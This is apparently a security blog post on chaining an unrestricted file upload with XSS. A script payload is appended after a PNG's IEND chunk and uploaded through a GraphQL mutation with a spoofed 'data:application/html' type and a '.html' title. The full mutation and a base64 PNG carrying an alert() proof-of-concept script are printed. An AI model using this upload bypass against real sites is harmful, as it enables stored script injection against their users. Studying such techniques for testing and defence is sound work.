Saturday, January 17, 2026

PNG Image XSS + Unrestricted File Upload

Sometimes there are pesky scenarios where a site ostensibly only allows images to be uploaded, making RCE and XSS a bit more difficult. Normally, I fall back to SVG XSS, or GIFs which help hide executable code (but, in this case, the only allowed image type was PNG).

This attack chain is for a scenario where the content type and file extension validation logic can be bypassed such that the uploaded PNG (containing a specially crafted XSS payload) is processed as an HTML file. Here's an example:

We have a GraphQL endpoint that allows us to do an Introspection Query and find the upload functionality by interacting with the following mutation:

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"iVBOR....",

"myId":"988932","fileTitle":"mon_petit_fichier"}}

After some trial and error, it is clear that we can't simply upload a base-64 encoded HTML file (or some other helpful executable). We're going to have to work within the bounds of a valid PNG file. Since we're able to add a file extension to the title, and content type to the base-64 string, we'll do that to help control how the file is processed. 

I ask GPT about how PNG files are structured, and ask if there are any loopholes similar to how GIFs can contain valid PHP and still be a valid GIF. Sure enough, there is a place to add plain text in the PNG (it just has to follow the IEND tag). After some experiments, I find that the payload character count also has to be a multiple of four. So our payload is <script>alert(1337);</script>

Once we test that the file still displays as a valid PNG and encode it, we add the base-64 and a few other things to the HTTP request to the /graphql endpoint (specifically, "data:application/html;base64" in the data stream, and ".html" file extension in the fileTitle).

{"query":"\n        mutation uploadPNG(\n            $rawFile: String!, $id: String!, $fileTitle: String!,         ) {\n            uploadPNG(\n                rawFile: $rawFile, $myId: myIid, fileTitle: $fileTitle,            ) {\n                status\n                   }\n        }\n   ","variables":{"rawFile":"data:application/html;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAAXNSR0IArs4c6QAAAFBlWElmTU0AKgAAAAgAAgESAAMAAAABAAEAAIdpAAQAAAABAAAAJgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAAABaADAAQAAAABAAAABQAAAABtdzLvAAABWWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczp0aWZmPSJodHRwOi8vbnMuYWRvYmUuY29tL3RpZmYvMS4wLyI+CiAgICAgICAgIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiAgICAgIDwvcmRmOkRlc2NyaXB0aW9uPgogICA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgoZXuEHAAAAM0lEQVQIHWNkSPx/h4GBQRmI4YBJ7fMDFAGQDBNcGomBVZDlFo9s4OqD6ethCkPtZsYBAODQCef2DI8EAAAAAElFTkQ8c2NyaXB0PmFsZXJ0KDEzMzcpOzwvc2NyaXB0Pq5CYIIK",

"myId":"9889328394283491","fileTitle":"decoded_blue.html"}}

Without proper input sanitization on the server, the XSS will launch when the file is displayed.